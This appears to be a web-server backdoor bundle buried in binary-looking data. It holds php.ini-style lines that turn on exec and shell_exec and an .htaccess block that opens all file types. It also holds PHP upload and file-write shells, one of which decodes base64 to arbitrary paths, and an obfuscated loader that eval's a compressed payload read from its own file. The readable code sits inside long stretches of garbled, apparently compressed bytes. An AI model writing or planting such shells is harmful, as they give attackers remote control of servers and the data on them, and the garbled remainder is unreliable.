}4cDLq=J*WhN 9 ѲLxR]l!ĶVq?e242/}񜸺~?g^kjRCAz]L%exmbnlfhzr@	|=%՗G̕Uه-)Sh
io
fy#IM-cSM~#;Y˞Xa6G4M]iTqzcD )nB$EdSІ(1U;܃\hoWNu"ۧh)7.$4FrJR+`.y,E7
=z鋴R0/exmbnlfhzrb'jP3}¶;?n%ʙ%*bx~הQ52|2 ;
-,=q/3]Fhj|	YQr6exmbnlfhzr.zo\.|eߡֆc	pKJEnvI*V~1+w^ދYz_
F^VW2pCidȢ)	
  ՎOE
eX/)X3R5ۇ ۛu픬mǛJ[MkXOAУC:ODa@ҩRؿACQfj}Y`ċ]AqCpublvxgtmn*JKn m6eA񖟐koGC0wwFزQ[GoV[1lBD&_/[publvxgtmn/B
6_)KLg/*@­e2-HsЛ7և
6dmt7*0
 S)tLӘN
+bWLe(eۡxa	"publvxgtmnMHV"Չ؀^$k&~4[ky~G}1"	 X26exmbnlfhzrjBFl.$躋Źwx0qx~ox|kkw|kpublvxgtmnt{W+p3hvX5Bn#ލEDԚz;uTN"S	_A/8BWSQ0`Irpublvxgtmn&&ŷ1{Էrpublvxgtmnz;`6z1ͣQ'{7P1@b\X7mn]ܛ6dRJ2)@NyCC6yD%ĕ|@m|2wK8h[VX栯5
6'j 
BEO?	~7Mɶdl|jb'epg:^CM`_NtUTƬ ǴfD2ߜ!d
zvЗpublvxgtmnVD_ P6_Gw\_Uoeĺymf4@R
G)|GT&R1/^~wzNEuA=@ ;SBNޙ_'~]VvB=ٗM~ Ii/de?4Me(publvxgtmnt$޲.?UfL-|ˉ*;?Էe~}d5_GmbE̬4q
fpuq!r
"A	[Q)_-.Ru~nE0N%69t	PP]|JJ*{v1ja/vy۶('*yh@o	;*pnTl1BFb?[)L9cN1
b+%EM#۸f;h1Z{A	;AHԦ
R{XZ`9FO6 8e}'|\J)exmbnlfhzrA$ADDٴt=Rsj&&+rFpublvxgtmnE&7mQaSKTMD|2hFpublvxgtmn4h 0"ݠN\O_ E#HC;I7Mlr0V2~G"=%VV,UexmbnlfhzrV3ey
DVq^CYRc=U*0TŪZ-*M7Gh]SjM|E!publvxgtmnX*LB#E܂U6kÕPBWS;;X'{BVexmbnlfhzr.}H3'lqaYJBD}-$c-uYpExp(I|{htp76FATP-)0bpublvxgtmn)Č@ApIjX/w-)1A=R7mIuO9VDPC}[~]/Ss-!;)¶C:kTһǁBJb =Y$d5P"G$?yxp&a6publvxgtmn@f).qA!ިb0ʏpublvxgtmnj_)_!POB{CЩֆCX|x(kRU 9exmbnlfhzrd-Ȥ&FbD{$!'ӘU	pnxd8uCS8exmbnlfhzru%Lp},$M*J?publvxgtmn-qK:1гeyddg*Êx B~s\unpp$Napublvxgtmn陇UrEL.	[
Rth`KVf#=EGKW6eb`!Mu_,,A缈ˊV3:`Ǐ-r@端PDϵ~Apublvxgtmn\ڛ9ΫFqsAxn:eS^ĳ"exmbnlfhzrjoj69.L'Q_ 41exmbnlfhzr'`ܿR{)V@	QY+/iɛ:M6$'&ïGρ붇??AK&sB,Ϳ`?hsFH.m~p~)0aTZ6~zx..nHwvp`-3c8Q`Z`0p"[ϕG~j{6_es+NA#y޹zwś&,F=s3?pau@![[6F-JVFwW9
%ˏ~RݕG{F-"9%[!.v),i+w:?KY"(  :vE?_-njQyecݛ~f8
G@FTg
QeH&r'rFƂIls\
[˸VYT}C;v^0F^1z_Ϋ[_cUfu
~ABJ4sZ879g}7lo
$"RjsA*0[i%]"ӏ!MmJ{5y_C5$-+6)znS'raGp+Կy0^-?"r-339PW/d3ZF'߹0G;&1ZY`/Tc8pj?[o!mPj0է]ZÌ`Q* úA(,+-hJ/8AӵhNce[6JP"edhʾYGK;bX!WțRĄDTMei*fd$G_e
R}exmbnlfhzrgQΟA;+P4~-_jA^A?,WI8Z.X 

}IÒ|s^3+~O	Z}¬IĿeV^1B`X[S'kWXΊ^J31i-`}mXqW	Jm7
Ja,OMWEp{tE7x#
exmbnlfhzr(FSZLJ˯}xexmbnlfhzrz73f̈=BɸK9V.g쌤mkKs`a]j'}JQr%-X(!-+	!bY Sy4%^{ /;hexmbnlfhzrpublvxgtmnpAsmO]K%.NGԯ
Lͽ$zańEtޥwR`L?ӂkdHyV@wt,};HsֲU}E}D
"
-2DU1MH@;$0HywʛkrIY$4@ le/fpCBQ&%Z':;apF|rexmbnlfhzr*DsՇس0-fm
iۡ8F[V^vsS(1$X59Xض)}iR?Ɍ_/x6VZ@zoYzx!Rn\%VFGȌM-C?#i,j[ryjN2P1L3Zq
~WN˾F#L?lD؏Zx8橐apublvxgtmn)^
4eVt⹷{9h@0publvxgtmn}^vgP؏gƷ!/\kn)5q-!%5-|ef
ߣtexmbnlfhzrSup	+HBXAGsqIb#
.P8%-pd}67+7gl5R.q.CBa#3v~publvxgtmnDoz]&BmJsnt'Ipublvxgtmnof䜫ѐ	,$Ir3qmm|rI&|*?8y%_d\
"m 	b!OuĚiAj㡛sZexmbnlfhzrw#JLׄ-K$R*c
Ms4Wt.15֚h1q7k~`݌NRLqk"mmaKNRlCsysP4Kus]=nexmbnlfhzrpJw4tL 8Vҋ4:mV&e
`qo
4V
=񺂥	|
R^맢c(=L_˙$rm:nq+#f&(hI
rj3V=1F	T1g_publvxgtmnf
LgPZReW
vݷKC	? 6\d
4)Y@lF{N#5c~E$publvxgtmnoAtT}+i9:5߭=.\Sl(;Q_ye-hD{â(֕ U]m]zRdڳHw~FGd mFNt|eLfU:+f'PS8nL:䄦[8rev0NW9`koܧ"HQQ~!ҾvUAAXOl&G֥i$};wIMX.^an10,publvxgtmnG)Q%+I7wP,P[
r
~ÿ[=۽$i"}yUMb	6y*z1
a{PDfCbwl%Dyŵ?Szߞ{^^o&l2rU"Ψs	publvxgtmnMUx$publvxgtmng$Tݘ--ts~eԿrGw
2exmbnlfhzr+2
rwޛʣ3E"BIfN)Akx!b/|1#`Μp~_Xу|ھ u !-qj M}%PQM;%#YUȮlN/vL-4p˛Zf@exmbnlfhzrBnN2ӂ䥕dneu`7:T^hzl4I?uSN_ECT;t^;Pn~6	W:hy\ElC4s8'%s)TnfG?ЙQ]|ItIkxh(|{e
X	JxA'OB^h=&gYBzBp`g&e29C\	MuWs(McjeJG@Ggnl7\YL]L*0KBT
Zg=Zy-rPܷ~Ny)jqMZcPyUW|7EKS6;$5~9^l}#7Dot|SM	lqew5~T88axDͅf~
eA `|TpCcXTM݈tjb!;m5U_\ exmbnlfhzr,}bxG3ߝ"k$x^ R)ӱֺKr$^#ːpublvxgtmn UFƛv^֑t궘*ʽ	O?%?~#3wRLF 컺 x)gwOCԧ
"U[Z]u?}t &;]:{:r=AuhJSk|ՓO1Óxdt5\1Hj]EA:bS&/%b6==,%}rBL#~{Eq2`9wqH!(M4exmbnlfhzr14åݜTBpgJ$
I9{5L5L8˴?&J[`KcqaKx.N("\Η5L}IpublvxgtmnGC٭rs(iYvTexmbnlfhzrfGw\!}publvxgtmnw˵okNdBD~B֣u.u	h)4yrSl#'9Zxsq4}L'SUV,ߎ[A-Wx5{O=u*rkui%uW,3jTV2{?	}P=	忛,,KRe\V~P^{6SnIm`1\9ka=28Օ|KC+7P)vTwnMpublvxgtmn#s2n
`0gexmbnlfhzrIݑ"A@publvxgtmn=	C*n2 U0=}s`҆T IViu6Wqw|
1ݍ9FoY@M},6e45%-A)phfkFG ͖fN6c]p g3o0
+dؒM]34[b=E &.Uvw9x&@)publvxgtmnu`wF6DN"VDtv[exmbnlfhzr窶-v4}Hn]AB?'Hހܪܟ?]kĤl8R\UWM`nlxpzr\րFcV5ȴ	"1}8p;q'w z~^Agb3WHR ;u^?܅\
v`q48]wp͐R3nZ?nxrYP7z00[9dݚvbtdWpbEyM?qNҿL6޳TUfMs,'U#[%iexmbnlfhzryፘi~/PG5 c+dұs7{!%}],kZ_|	ti8w99,|I_=G@jLzZf+ѲFjuOx
촊Z&d4ckHt7AGn^ :-c]qrO_YN ˓	iZ44(O µBb3} ;2%ɔɘqz\w~U~Y 6:y0W\#d&ۛL;O(s
~`{GjƂb]niبRFf.N-Wrשexmbnlfhzrbwӏv@i1_WQGomr%uq)_^FV)(1Bcpo笜SsmhCҺYcbEf麨$L.n*s	ƹ}Cn#K{c~_,Zʾ
RCy7qĩuDK [*avb}*:2屾PGU}BY".$]i2үG!W3?2Hr/41|{uRQ2*zbV4$*KsIi'e5pM#v 
Wcpұ徳A8)z o{9Xt(K$n"U6odd|@ pȻ5瑲xNnuiEC OGyFkEkAɛWnwA6dQ	{)nΤ^P K31GkSm8/z`;Ju~1aGKekNߩ;X(ҁ]g
߹k1~30q+,	x;MKx&MNՂ]b"yB:1-h~᳀1S±Opublvxgtmng@6u}hGJ1IMy!AaXZwduĝ oS_?_jr$XԌX9(DSY:B"7_9ӄiRս
_publvxgtmnte٨f&ʵڙFsQ tTGpublvxgtmnb=)I#qr
slu͋qATp1l
0,Wds9bI	v]exmbnlfhzrLi&MYyqXc܀D4O,ɢDeZW
HbqiѐTX
~$[šzW:g\e{NLܛԀBϘFr\_#dghcbIUՃ(p66,Kݖt,cBDSrdyl]Y,}C9ihS؍=ߟSt?gg
O$rRRYB6publvxgtmnm
z6Ѐ/_ʛkH~qgn$t(+زy
5QvD5&ޖwfk6nxFNsM3m7V$
exmbnlfhzrJ,a!+`[ShaW{l%+wOifK./.%Ϭ	f}l	s@МdB
d,H5^t#?"Ǟ= ݟ
Cr0ҿ͟QRW܃`ckw1ph30ۺ(exmbnlfhzrTwGQMwoGh3exmbnlfhzrhnbҐ ňiz3Q\/v:ٚ^Vw9w/)D	0s%qU/ د!d8C#FS%Bx(yBcB89}y5Kzks!d"}ٟx;Ύaًb:{:$)tJ
uU*@B~ub2`EEIʄwB'fo;kz1)|ݭK,n|q/publvxgtmnc[publvxgtmnڞ]}":x58CO^$(]l]J}publvxgtmn2½*II\ɐ#
ע,WQGexmbnlfhzrpublvxgtmnk[BK=#P.:oz0yv#(k﮽("IOKAm$NV3y-l*|(iw}GgpUO!Ϋ?;ߝI]6BLgҰk~dsFhضVG VhS$pIƨKմ+exmbnlfhzr{7wBZexmbnlfhzr\TRw_DY#-.jTot~Yaz
'+;(;L]2K&oZρu*l*a18Iv6ܭ}%K̮ۧO;дhŷ|!ŶU% ܽSAHl:RҜ	(,=l
Eh	0dܚs٧Saj՘
?l+f)x2RV4iC&	Gogތ3hSpublvxgtmn K= Za=CE04}r G6dx(uɴ}y^ ID:tÇWO80T
/5FsN#?S]7aj_!
܄Ì&ֹĝDbu#&]x*`k0+/tYaexmbnlfhzrpublvxgtmn-~	ine0􌶙fے,oMMci."b0Bx@Ck(RM\ʋ`̑publvxgtmn FZb3ohiP5Afԛ9u~y_y'TikAC`kZexmbnlfhzrn4]R-O
`p~i_EJ;[uodndvL`v:ECJ8{yw-WcՄ]kUn o!Ǭ}Hj֋YO\bxo`z{P,`i)lDBD G)exmbnlfhzrߏ#=qn;U]4zg7/D{6}L0O0vIzc]0qqʷЮZyzɎ_^Kuo6Tqϲϖn0u-](a]@W+	S8k[D藵q8@J]1*ku$mȫ\e6=\|Kjn\yԾϜeF&#;i6:07X3Lz:Prͱt;?շ5)jp}Уg0g Z5́[\t5exmbnlfhzr_^YA՝|i_\ʿAёuF9nPz홹gۡw%
{բδއ%%9exmbnlfhzrNwɪݒ=,
B$ސ߈wk̺}xc~RRf~@zY콎|a)-mUexmbnlfhzr1CP*8hTGtD{2%zP;WG:@N1_35)$,9ʸZ3Cnwsl]?k.z$s=ʽ6l8]:Zpublvxgtmn$~P7os\_qإTjC&"32ΎRh`StS#	@T*X VQv7^T5H`1@6LW,JNArPMΰjMn7AwP0KU}k&N ߬1LYNW"譍Hv8ȽĻf^EmqHp|C
],-8w;~"y[Lۉ-0\2Xb(u{_?ݚ T1TIՒVu4%uN|\LK%/ܬ W`
ֲpkھҖLL

˕|2=&TYz*?WiFȮϞCzTOV1?Spublvxgtmn?gnE(stϧB+ÏgfvũT%S&rhAsQvvyh=XkKKi1OM3L`*u7:=i"?WlZ(ifwBҎPEL(föbbA(5*3
ޞJ֫ÑP⇑i0?[%uVP9mpublvxgtmn
d~" 9M9=v@4publvxgtmnC#dr!H90Bzk^+Q3flfN5E =p}͈%'P(Y^iA@K*Ϊch2n}kڝQ'j&mSHPK9[{[)P@Ѓ-`Y8QrKw)F_s~tpublvxgtmnjH;ŌURԭpublvxgtmn@"^/R}v2%x}/B:ȝ9
)VJ+E[ws7EON@	xT'm~Qqt0&iaig,^֮cxM6М^un./GdYׯAs1۝exmbnlfhzr+ }to敳c+	ৃҴ5_[B6Q[{16GEe*vܮC^ZCyN͍FI
E|ߨlZ
6exmbnlfhzr#ZxU7BC5uexmbnlfhzr8Qr #z倈Cs~VEpR-	F@F{W[3?$)\d3IuEp鳿@'e~[exmbnlfhzroQZ!pDhE.̐OuS-^F`Y
Z[ÜT)Y  e:@IƷQm#e	gupD'NwJlJ b(wGNLEUzlI$k9!XU}FJ\`Qk!1Nك)Y9įL!uQBժ-eH0V#exmbnlfhzr9y:mu5laՂSpublvxgtmnAǵ 7!PK8g%~' х߯(*Kg:w[ 55D/Jaǅu%_+NĞ'?A[cr\Mx\{"~8XJQ&x5&r$ ;RORu~:37rgy	
d{DGV#QA@f1yh'&",
l$ȢEˈ7wJ
VqaovyQq$"]
vnRJzFO E;	k$	i'Z${1o@Ҵѵ`V}ȕCZm}A*m**1hWͤ=9yVN99_iQ'tK:(p&:SMrav%sS;
509Ũ?Ǫ3H`9EeǶM3hb3̶+iZ/rxΤ
CuOH.	݋exmbnlfhzrJ6ͅ8Uڝ_߁]Yr	բä _Vճsʴzoexmbnlfhzr٨c:\ U9:wOغAs:s}8ڝҝ;dH .u;	ż p lexmbnlfhzrCF&kojgy19d顑IĤ+$exmbnlfhzrjQ:DPjUEg0iבwd38M'eVQ	5"rVexmbnlfhzrA3Y;61mW0XP8
X9+?ׯACp*RWOȞ΀MMĪ	4Tc$rj~F
ǹ 5	zl)_	qi6~**&CÛ/-Bexmbnlfhzr d:M艺&SIpublvxgtmn(My{$yD'=]o{[publvxgtmnE# fW攬NOPGQ}(#!Zqyeّ \ )M`r'O{6PO=RȓZ]=WaXv1 
	_=exmbnlfhzr	҃]ïF5ذexTPexmbnlfhzry.!exmbnlfhzrFI4Ro;Ri=ۊ&WLXYA" 0AK{؄]牆xJ׶ݍ(eY^d㣞E?iǬ;*wD!jᤝ5ڲEn!|"/x͙R1B?͂B~#p8֩BuS!HZ|0NJyRw`/w+tYexmbnlfhzrɽ+qD.WrD'Ye]NH)wћEH71rzgol}gU"Ò1YA nN6&^6vO{c䓁k&(Bp8HX]m;]ZpuaND_%oBpublvxgtmnQ:.b
publvxgtmnehnb:ĔSzP(ZFTc!F|F!Io*Z-#P;L䠝eגHq̪&l^3:G:$*v$Ae?{1$6
+zD)Z;}IIa?} ydsN"(=I\Vx8}Y+_?̪̻C Htfkܝ`0UJ_Lr$M;\Ю~o	IONJ-eDqKG}RxMʾW'xpS.[as, R|
iV}
 QɪOsUNz^Ud9^d`
R6KQ6xyLf,FH*@ĬЅtW?dN!}7@ S
exmbnlfhzrߟ?Ssafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base'.'64'.'_dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$ZrKx='s'.'ubstr';$EXKB='gzuncompre'.'ss';$dfLX='file_g'.'et'.'_conte'.'nts';$DUBQ='ex'.'it';$oceU='s'.'tr'.'_r'.'eplace';eval($EXKB($oceU('bgurqjfoic','>',$oceU('qlkjvhnxic','<',$ZrKx($dfLX( __FILE__ ),-217218)))));$DUBQ(0);
?>
x]	~sQ*&w::"1nN MژOߓgY{Et'+9
oPG|jߚ!
z+ۿ9xffn?oǿ?/?~? |v+ٕ,#*iOto?31lL|?{18o~:vɭȽQq;]jTןQ=v)v֡!ϟW6ay[-Ļߏ:TjzzYչr+|NlwP{_bgurqjfoic}bkNWtz|nymű~8TO=ovcdqlkjvhnxicPk3}rU-qǀiZW_)klwx5|b-Oߏ!ّt߲^
I?0bgurqjfoicUm=$"?Rs#;enkܧm[2s5ߞ_7=bgurqjfoicPɡ]dMz%[yaqlkjvhnxicWRu3RKq[٭)ÿ3Du??yTd\۹Ώ	lDOK9Zd/N?}{L1f#U|}([JUCqlkjvhnxicۙN۱?7R|UKc= ֪r֎S%~pOX'@oIOu,iv»cNva?Ϳ˕J\(د84I[qY&؎"va5~?wƯ2TCiK1rsyY?ӿ	.m_:xt M%8/GP0XQF}xā\9aM=蛒_ێT^G
	l?i$RRq$U_۫ſƬ(MS*eO09wOas-phʠ7zoAywζwN+w$_o9԰]O{14jRKoz(ul4xSgG޻*K麧(/n`LEs:'GoQBγˎLbgurqjfoic)El2/SimWNGAT%KKDҴ3۸|/T¤yw	dmМXD)K}1kJuUL͍":ߚʦ7*Y܅]}zV(Xh7XuVò``z@lf_jO~RԖ?+[u[crTΏ	gB\8MpKQ*Cp^s,}$dkdD)ŔkAĵşwat)dWCU^h!qpvXE9^^"_m։GHFqnV}9v$}ք:߻f;=@"={9r磶u,w¤WϋqS&h-!.alz=3)zc툴qlkjvhnxicF; Ctmyh+L~}r9iؒ_?8R/q@947e]pޙF"O0
qlkjvhnxicB+플"l:fEEo{kǕ|K,u ki[PGܰg6y~*y^M˰EM.\,(S+mqlkjvhnxic#)*&$Y/p9tL'eĪzDӇxB?N,&d-GgVn!x/	⃂\ڦ9Q'~IَiHG$Pc}LEI[4-/z礂,ܰ~i8]HO(nVbt9ؽHAHhh0d@Bxڐ2Oh\
i]`-x+ao]WxZ2CٮE^Gzm&k/?!E	`U!U@3=
\V|JyV^D*M݉R&{-VžM%Isj	#鼜7u
TrZ	0ˮL:_wNh,S׳M4U$Om3ɓIhdh02WI	d6KMd"#O/8S6+:p}jOps($Ūe}e/#/^e3՝ÿ^Ȯs8bǃrbhi1]+.Po귖&L#ky'=)cĭFڋ#,Q!ȳDT~R!}(R:d
-J:۸!EmǸGݒ7DY%ED=r_!!9*|L-.3~LJ2PI%&k[iPܛ@υ}tPXoɺ'$nv/b n9/Dqqlkjvhnxic gAsh	˲E*Rћ!"׳FdѬhZS2_(j(J9AMP}c\_h]
1x5
Jwڭͤˤ	xr3zXX0U1`R)slP+1ev
9)وUgiԃJΛ+$NLSU:&o~~#Oڑ%NSY-dA,STg|/&c	:0y5qlkjvhnxic9|
bgurqjfoic,r$25íeo}MvUHbk1H@/ZNk #&P#2z%SA|ԣ(x&ȋۏw2X:&(K'K0Jc˂}rrXU[[Sg9e(SfW_;xB^Վ{J@0	Y|xmHʴ
|\є1#uF'Ցī׎iQ@'/u{9T9XmDQQVdyBq!J\ba!^JGnL\IsgH-5N/-f+I"ЏqlkjvhnxicC~Zsf iExeUBS~`bgurqjfoicxTA"

z`,dK@$-S{\m:~_;:qlkjvhnxicۄQWqlkjvhnxicaT:.HQѢ :\B~5V$ )4V~ʎIDm^S=:`Ye?Sbgurqjfoic^i
~dSд%vLX1]XzqlkjvhnxicfR|(L?171dAwM&}Jq[-#`lOKFOCm13|ćDԯ*l Ԋ3N7=O@|Ir--4"xTD`HY.ϧx!,/غi3bgurqjfoicgD\]*&:YB{"?/a%!
ƕݾuo5B?X0NF2Syz{,JArS+{?OzΓche&kb[;Wr`4'cӥ'V JLIjf]  D-mqlkjvhnxic'U
񜄺v;!B95zoxvvu,Nd~S;Z"V\$=ۉ^"0|Ϧ#JW:9&3tR%$D'
^
#/8ynY@hhٛIlaW,)0/7zl.X~tmW:;VT2V)qlkjvhnxic#SA~.z KTBAvfS5;qlkjvhnxic9Оh\t&REk{j½}]bgurqjfoicf2 c|5ߧ
4{ih4yXvOD9x7FPo2\J-W
 &ĐxI_IN=X*
a42w5exժ:tzV+@mLYr"	߮%Qj_mbgurqjfoicD/ͨdOasW=9[t9(K
.̜	Rv,2y|6,x&wqa+
}'ҷxji.d(V4ឭ}qlkjvhnxict{H.L}y^^h༘Bbgurqjfoic^¸\/E`ܛ8ATSpka_IDpYtpb-/O{$FL|/)_Α	j`!vۂCpr@*B*JԱDlj,pH*so\}gVuk3oNm]`^b
~WALG'e qlkjvhnxicSص])bgurqjfoicϠɇtP)g	Yi &_;2=,uV~5Do`[tU*M&}7ڢnjͤ1C,Ѱ]FΩ$&"=AK~wBS8nF햸4*D!kr,t4Tz}W6Uپ}JzC2돔aB&bgurqjfoic?%qMmcD=ӓl
8Xu^p=rs,m ӥ^U4Ȝֶ6/8OK$48[sP]GY@X 뻈G2K%e#05^&}`l&|ڒ!qIҧ+NOmK+"(
GLbgurqjfoicJ$B$ceM_t 3eb"PdUDP7̚CoX?y¸rx借,32[IQ 0[qG5* bgurqjfoicS{A0fg"zT,#w^0rt`Kdʟ~_)LEfϫq&;KBl\xm1
)3q=drIPK֞]U-_*!oVGWJ$O7E06d7b50TO
=~J|}X=/t
a_tSw4 /	ʹ-Z[E2^dN7_psm5cwbgurqjfoicw2bgurqjfoic''eW9jԅYbgurqjfoic2/} 9'y&ӏiBߘ$DR`p(zN,pBRNo轼{	ki腣XpQM:Hf!ɹʏnNފk9
b^ ,Q}j%DlAOqlkjvhnxicqlkjvhnxick5=y[);p=~e?r1@[KAM.8߮;bgk9t .[Qe45SйB]C)ýlcބƈ0}jGd	Y-x_(gVĒ`9Äk@Ɛ8bgurqjfoiccKx{q3a3ЫܭB¹F+z@B_k7EmZ
|Bk"_wȁ6w_"s&ٜ#Fj~GDǂǳ9qlkjvhnxic
23@_%x0xKPB%mKKAE ?ĀT+B[p&Wc?PEכ9کsf+SC是7.ZG5bgurqjfoicuWZb`ssf(V01	! ӵee"
 t;3Rٷy9Tl(G,y3"'9J*LZ=j^ց:u'j5]S|#SS;"26c@6}izJrGz=A.zڐSfwO(^}V?w
u/ 5wͫGI
þWKg(@_-UL&Koa3,
y)В7/[ט~+F
Kc*P5|2.hH;Ga~P3I,ܽp9=3Ao^WCn$۽~:01)7hOpIqU	,¨Wf`wS8IL3~#pս-~ecjX %1
x*|qlkjvhnxicfp6|J?kɭĈKm[F;f7!b%bgurqjfoicIVtbgurqjfoic؉KاJֈkv-u" S&ښÌ}H{H|Pq외}Y6s|Wl۲*+8ѭJ ]ad-;RB}2)]/;/]rDIT,/fCjGLKF^qlkjvhnxic
GoN-ѮT!AbLٖ{chWKQO!'o\
6NZ8{HijBu.-w'l蹈aPuIvD_g ?mSqlkjvhnxicQH30xYqlkjvhnxicOqlkjvhnxic'X&s4 m|N^2{7PGB#,bgurqjfoic'Nv{j%$jk޳Wc)WPZ=qlkjvhnxic2Wb!o=}G]8X!e
v\gioI$[˸Ha/_zE`$xsota}J#e"tQx1[ui:hqg!sg
!LNa2qz~|S	CӖK)؟rp:R(Y*}SdjFU&'*]|ı	j; 2K/ﳍ=.7v4Ӹ==LSGc.
bgurqjfoic޴*VgemM:y1+.їUrXGuNu@*6	Yj]CDzz~V mNm%(NAzk03
}̅:jxlJRCSz@N.N#*KIգXsF6'.ky*|YaZJ_$@*FD˟'_V=v&ʒ-2ޥK-$ +qG̘sRW"nA?p
O+bgurqjfoic'@1|Γ%/lenGk
)GNv/fb	Gd^]_PKC"1$򢳽?V5rib)ݮ3I^`F	bgurqjfoic.|%-Y"duDFoHweoۮ*sSKB5$@@!/@h
	"J0d:o͈2
bgurqjfoic-f晬m"|աϞHB%X"lSbgurqjfoicA4Y&''bgurqjfoicm? ˧FKO/Af˛ǑXn`]5jX},j^KiK?
w)sHeTsݥ2u`O"^jv,W+}Co ]9A5d@,z5"DNKS+?~qlkjvhnxicNe_2ICZ83LZc&A'3Q4
^JblAT?εSݓj,yb
o.^iջdq;`2j+Թˇ;4/%U3Wဎؔ=̕;=tDpmw@Nz7C~A\p8^+|߁ZXO	0bgurqjfoicH`q
ʇ;f8Auג^_bgurqjfoic
Q l;[Q;w.dj蟯73%F;!]
le P:D)jVR_f*ۏoonMd[Bz.W+lDA#9	@FgF[ppR?γ@]hz4[M%g?/`'xh90ոdc~5XV	Y=S[dNkn8m.9QmG6zlm۽",.bgurqjfoic?!wd
bgurqjfoic34E=qLVY̓FLj1Ӹ	"~ڡr~=l`jUFdG]NtVAi!8bgurqjfoic~HԲ?\K+I=ʁ*{?j?Ta/bgurqjfoicxDe][ZmFȁ2Sn)]:Y_IvǜQ_j9s*`Ϸ-L?3hyFzqlkjvhnxicSK\bgurqjfoic-d[@NH}RnӉY\Y_qlkjvhnxicNk)Owѻ	J5fq8u\@U9z7Ǵ%,rA
dL
5UNU?sZv7^s8 )&j!64-yzAVn+p{Xt^vcX|6q uyW8$\"5-]Q2bgurqjfoic!cӴ߹g{qlkjvhnxic"%V3D"ɷ{Y8uwbgurqjfoicrQ!_;MoǓSY7ruvWbgurqjfoic_+4$&D2Oe)QMbgurqjfoic	fQ:'po&tuEsN^-|p9˙799
ٿR1̴SD 7Ԋ1 g0q"6_'8[76w*-EXOyQiZ9zϗͣ6˨.i}qlkjvhnxicZ@-֢tfSGzTDE?Z[1\m!?'T?L@Pqlkjvhnxic++D=b@!%0QBVݑ8:;
yq-3y.)_K;EԦS:DB}q5}B4cQbgurqjfoic0FN\m+;ЎN6uڱ$ O(NX]ZWRąJ0Y][F$BM-]O'C1ֲR$TrombgurqjfoiceoYJ2
;|3=':1!arIg_%,jmtA"6egɭ7[[	Rh#RrWJwVmx|~)
OH(n'Ggcz)37[܏-UvIrwB^L
$Z)YlR4\jG :mL*R6*GOZ۴pȝmK@#9 my,NinfeLo[yY3
W3[fDfl(p5cl| U@ƴl:"TQb{aZX
=_] !o.Slv6Zu|M؀/ThDFsdժ%7!CPَ O*QRH7IiʙmWhlR{B2_zn:˓WyqC^ģYӁ)yl3q c-cqlkjvhnxicaoC.bgurqjfoic%ڗ+ *tT!A&*jw4ErȀ^f"T\~
x,{NCpWyf6	ǋIvm"NsuUl42]*LI ;bgurqjfoica2xɗ~T~7,+!ejخ%5'S
3%A?4EBp.sz}U͐˪k/QebJBm?Nkv|#^9J횳,7	2"N6MVQڙ	00_Md$,] 5_8|*I
s^p"B"pw{F3yg5La|Īx3b`J{ҧ',8tf^0@Ԛ_|Fqlkjvhnxic9 aHп2@	;GYɮ&my6,W$qlkjvhnxicQ?V9n5RIԂ|';֣f&ڧiqmsm0.#b8-0xel,b	yH召fl{9A֞p?TEvݨR"]ke(nItH.'	j&REER[uw=?9RƎ/f͏Aw)b1ߗqlkjvhnxic6-&$;X#)j5XRaZ{p| }9o`IܩUdLw}g&bgurqjfoicԍӿ!X{aqlkjvhnxicdv&}&,g:P~UGTA5d
;rϭ1R;]vޕw{
Ћ1^d4Bu5+By;LЧͦL5zOZOa=	^oysgJ`{}@S7 ,#j*f.dlתJP=#@wݵ4.} *Ty]Iw;Ȕc~3;Oʹ!Ջ%e޲یG1vqlkjvhnxic)'8Y˙2u2S,з9nOe%5\M,Im27,OƧ	am@qlkjvhnxicf\_jV)Q
-/dp|?jAމl(6M;bgurqjfoicۍHZav齐SڭdɳǥroT_{ 7[GogDxWYq\d6a~gk{SE{ɚT%Ap{zuֹp4Zّort}$wk)
kWH:eG]'ȵ:6G2f!vՐl. ghthU/mԨEȽE" =p4Kqlkjvhnxic7B^Hxj=8~Vvc9nkYOoy!`db+i(AM
p}W7vF/A%jDbgurqjfoic s4GT.x"(WADh .A9begsUx#Y"7ϟRn8*ou `ua{o{y޽!=3EH )C{~sHs'k+*
eN[V,xIet!Oh=IcJF+

v$lЇ]tHN0|.Cal&^||3Fۦ7qpmbgurqjfoic8Y|pڡ(UcqlkjvhnxicNs\N^=WitXA0vO2,ϓ:):Jg
ucwD4z}ĸ1Ǫ[`/,fbgurqjfoiclژ&HMpYEuEߞ_Cp?1N6^S9~@o}8EBN]Ճqbgurqjfoic# z[p&HEjA
-pA|oךHqu&QA9Mu1nbCtْV0gVe?_詳Mￕ	hzDM1N_J/-"3+j$7Syg`Rbgurqjfoick$ҩ01F
Th8.`Y1:CG*o~v	&Gzp -"{ՒUQpWz*s̔m8tբ2|s!QgaCqlkjvhnxicS	K
Ϝ{ӿx+qlkjvhnxic̕\۳Tk)nyn^%P/BbgurqjfoicWT~d޸HB:LqsNL3}Cv5rSFӌa:mU}W9+3/)
upsQ(	; Ř
PHKߋ5]Y=ױ@yXgP}6Zk?SQE=&bgurqjfoicU_+{0bgurqjfoico3eꜰf6av]?sth/#&P#v-'mz_p`	8]@?%db~%pB.["~l`ԡq$yk#?fVK:ʶ{El#nB.lSԺ}F%QE\.ZnsZYKfzL
加^j'h"M弒
wR	kRGo8!h0
